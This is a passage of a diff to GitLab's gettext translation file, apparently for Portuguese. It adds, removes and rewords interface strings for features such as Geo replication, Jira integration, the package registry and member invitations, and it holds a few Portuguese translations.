msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "O GitLab executará um trabalho em segundo plano que produzirá CSVs com pseudónimos da base de dados do GitLab que serão enviados no diretório de armazenamento de objetos configurados."
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr "Informar os utilizadores sem enviar as chaves SSH que não podem empurra
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr "Listas de etiquetas que mostram todos os problemas com a etiqueta selecionada."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Não foi possível guardar a ordem dos problemas"
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr "Correspondência não encontrada;; tenta refinar a tua consulta de pesqu
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Não está disponível as listas de objetivos com a tua licença atual"
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "Novo Objetivo"
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "Nenhum modelo"
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr "Definições de notificação salvas"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
